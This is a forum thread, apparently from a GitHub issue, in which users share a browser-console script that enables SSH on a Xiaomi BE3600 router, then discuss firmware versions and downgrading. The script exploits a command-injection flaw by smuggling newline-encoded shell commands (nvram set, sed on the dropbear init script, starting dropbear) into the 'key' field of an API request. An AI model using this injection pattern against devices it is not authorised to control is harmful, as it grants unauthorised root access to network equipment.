【502】小米路由器 BE3600 千兆版 curl 请求异常的解决方案

[idootop]

我的设备是 Xiaomi 路由器 BE3600 千兆版，但是按照教程里的 curl 请求无效，接口返回 502 状态码。

经过测试，需要带上浏览器里的 cookie 才能正常设置。

可以在路由器管理页面，打开控制台，注入下面的脚本，回车运行即可。

给有需要的小伙伴，Enjoy ;)

async function run() {
  const stok = location.href.match(/stok=([a-f0-9]{32})/)?.[1]
  if (!stok) {
    throw new Error('❌ stok not found in URL')
  }

  const commands = [
    "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'",
    "uid=1234&key=1234'%0Anvram%20commit'",
    "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'",
    "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'",
  ]

  for (const command of commands) {
    const response = await fetch(
      `${location.origin}/cgi-bin/luci/;stok=${stok}/api/xqsystem/start_binding`,
      {
        method: 'POST',
        headers: {
          'Content-Type': 'application/x-www-form-urlencoded',
        },
        body: command,
      }
    )
    const res = await response.json()
    if (res.code !== 0) {
      throw new Error(`❌ Code: ${res.code} Message: ${res.msg || 'Unkown'}`)
    }
  }

  alert('✅ 已开启SSH')
}

await run()

[89ao]

是什么版本的固件？实测1.0.87已经失效，报错1523

[idootop]

@89ao 忘了最后一个能破解的版本号是多少了，我还专门解压逆向了新版固件，新版修复了请求参数里的换行漏洞。

解决方法也很简单，先把路由器线刷降级回旧版固件，然后破解开启 SSH，再固化，然后在 web 管理后台正常升级固件到最新版本即可。

[89ao]

@idootop 感谢回复。
问题就在于1.0.87没办法降级。。。据说很多办法都不行，感觉这个be3600 2.5被锁了

[idootop]

不存在不能降级的情况吧，我 2 个月之前也是从高版本线刷降级回去开启 SSH 的。

降级要用线刷，没办法在网页管理后台直接刷降级版本号的固件。

刷机的时候还要连网线到电脑上面，自己网上搜搜看线刷教程。

[Sweetypython]

是什么版本的固件？实测1.0.87已经失效，报错1523

我也是这个报错，请问解决了吗